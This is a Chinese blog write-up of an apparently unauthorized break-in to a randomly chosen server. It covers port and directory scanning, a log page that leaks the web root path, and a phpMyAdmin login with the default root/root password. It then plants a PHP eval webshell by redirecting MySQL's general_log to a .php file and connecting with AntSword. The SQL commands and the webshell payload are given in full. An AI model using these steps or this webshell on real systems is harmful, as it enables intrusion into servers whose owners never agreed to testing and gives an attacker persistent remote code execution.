记一次偶然的渗透测试

  • A+
所属分类:安全文章
摘要

这段时间来任务,需要扫描一批IP。反正也闲的无聊,等扫描完成还需要一段时间,就随手拿了个IP来测试一下。

前言

这段时间来任务,需要扫描一批IP。反正也闲的无聊,等扫描完成还需要一段时间,就随手拿了个IP来测试一下。

一、端口扫描

用nmap简单扫描了一下,发现开了80和3306端口,
记一次偶然的渗透测试

二、目录扫描

尝试用浏览器访问一下IP,显示403,没有权限访问,如下图:
记一次偶然的渗透测试

为了扩大攻击面,扫了一波目录,结果扫出了两目录,如下图:

记一次偶然的渗透测试

本来还有些困,看到目录名后一下精神起来了,先尝试访问一下/log.php,如下图:
记一次偶然的渗透测试

可以看到,这里泄露了网站的数据库版本,以及网站的绝对路径

三、弱口令

再来访问一下/phpmyadmin1,果不其然是phpmyadmin的登录界面,如下图:
记一次偶然的渗透测试

先尝试下默认密码:root,root,如下图:
记一次偶然的渗透测试
没想到直接进去了,网站管理员也太随便了,好吧,刚拿起爆破工具的手又放下了。

四、拿下shell

既然进入了phpmyadmin,下一步要做的自然就是尝试getshell了,而在phpmyadmin中getshell的方式我知道两种,先来尝试第一种方式。

1. 通过into outfile写入一句话木马

getshell的两种方式都必须知道网站的绝对路径。这个时候我们之前做的目录扫描不就起到了作用嘛,在/log.php这个目录下就直接暴露了网站的绝对路径(D:/phpstudy/WWW),如下图:

记一次偶然的渗透测试

OK,现在可谓是万事具备。
先创建一个名为test123的数据库,再创建一张名为test_table的表和一个名为name的字段,代码如下:

create database test123; create table test_table(name varchar(50)); 

记一次偶然的渗透测试

记一次偶然的渗透测试

然后尝试给name字段添加一个值,值的内容为一句话木马:如下图:
记一次偶然的渗透测试

现在一句话木马虽然插入成功了,但还不能够运行,需要将包含木马的test_table表导出为一个php文件,这样木马就可以成功执行了,代码如下:

select name from test.test_table into outfile 'D:/phpStudy/WWW/a.php'; 

记一次偶然的渗透测试

显示语句执行失败了,看报错信息,“MySQL服务器正在使用–secure-file-priv选项运行,因此它无法执行此语句”。那么我们查询一下secure-file-priv的值,代码如下:

show global variables like '%secure%'; 

记一次偶然的渗透测试

可以看到,“secure_file_priv”对应的值为NULL,为NULL就没办法正常写入一句话,所以我们现在把secure_file_priv设置为网站的根目录,再去尝试使用into outfile getshell,如下图:

记一次偶然的渗透测试
然而报错信息显示secure_file_priv是只读变量,无法修改。
至此,想通过into outfile拿到shell是不可能了。

2. 通过日志写入一句话木马

没办法,我们转而尝试第二种方法,尝试利用日志getshell。
在这里简单介绍一下:

Mysql的两个全局变量: general log 指的是日志保存状态,一共有两个值(ON/OFF)ON代表开启 OFF代表关闭。 general log file 指的是日志的保存路径。 

我们先查看一下两个变量的状态,代码如下:

show global variables like '%general%'; 

记一次偶然的渗透测试
从上图可以看到general_log是off状态,我们将其改为on,打开后就会生成日志文件,再将general_log_file的值改为D:/phpStudy/WWW/xxx.php,代码如下:

set global general_log='on'; set global general_log_file='D://phpStudy//WWW//a.php'; (注意:绝对路径在这里要用双斜杠,单斜杠会执行失败) 

a.php是日志文件,也是我们等下要连接的木马。

那么现在直接将一句话木马写入到日志文件,代码如下:

select '<?php eval(@$_POST['pass123']); ?>'; 

记一次偶然的渗透测试

这里提示有语法错误,我们不用管。尝试用蚁剑连接一下,成功。

记一次偶然的渗透测试

相关推荐: authing越权查看用户敏感信息

【重要提示】因为公众号改了推送规则,一些读者反映有时收不到文章更新,不想错过的兄弟可以这样:1、星标:点击公众号头像右上角的小人-然后点击点击右上角的“…”-设为星标。2、分享、赞、在看:在每篇文章下方点亮“分享”、“赞”、“在看”,只有多点,微信才会判定你喜…

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: